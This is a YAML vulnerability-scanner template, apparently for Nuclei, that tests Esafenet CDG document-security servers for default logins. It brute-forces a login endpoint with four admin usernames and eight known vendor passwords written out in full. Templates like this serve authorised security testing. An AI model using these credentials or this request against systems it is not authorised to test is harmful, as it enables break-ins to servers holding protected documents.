id: esafenet-cdg-default-login

info:
  name: Esafenet CDG - Default Login
  author: chesterblue
  severity: high
  description: |
    Esafenet electronic document security management system default  credentials were discovered.
  classification:
    cpe: cpe:2.3:a:esafenet:cdg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 32
    vendor: esafenet
    product: cdg
    fofa-query: esafenet
  tags: esafenet,cdg,default-login

http:
  - method: POST
    path:
      - "{{BaseURL}}/CDGServer3/SystemConfig"

    headers:
      content-type: application/x-www-form-urlencoded

    body: "command=Login&help=null&verifyCodeDigit=dfd&name={{username}}&pass={{password}}"
    attack: clusterbomb
    payloads:
      username:
        - "systemadmin"
        - "configadmin"
        - "secadmin"
        - "docadmin"
      password:
        - "Est@Spc820"
        - "12345678"
        - "123456"
        - "Est@Spc2018"
        - "Est@Spc2019"
        - "Est@Spc2020"
        - "Est@Spc2021"
        - "Est@Spc2022"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "est.connection.url"

      - type: regex
        part: body
        regex:
          - "(127\\.0\\.0\\.1)|(localhost)(192\\.168|10\\.|172\\.(1[6-9]|2\\d|3[01]))\\.\\d{1,3}\\.\\d{1,3}"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022068cba10046c09e2a034a03b38b53eb8c48b520d9804570e752a173c07a6f68de022100c42248c90b2159982cca65e722a5b0f3deee60a58a6eee01f1f9f2ffa8eb6311:922c64590222798bb761d5b6d8e72950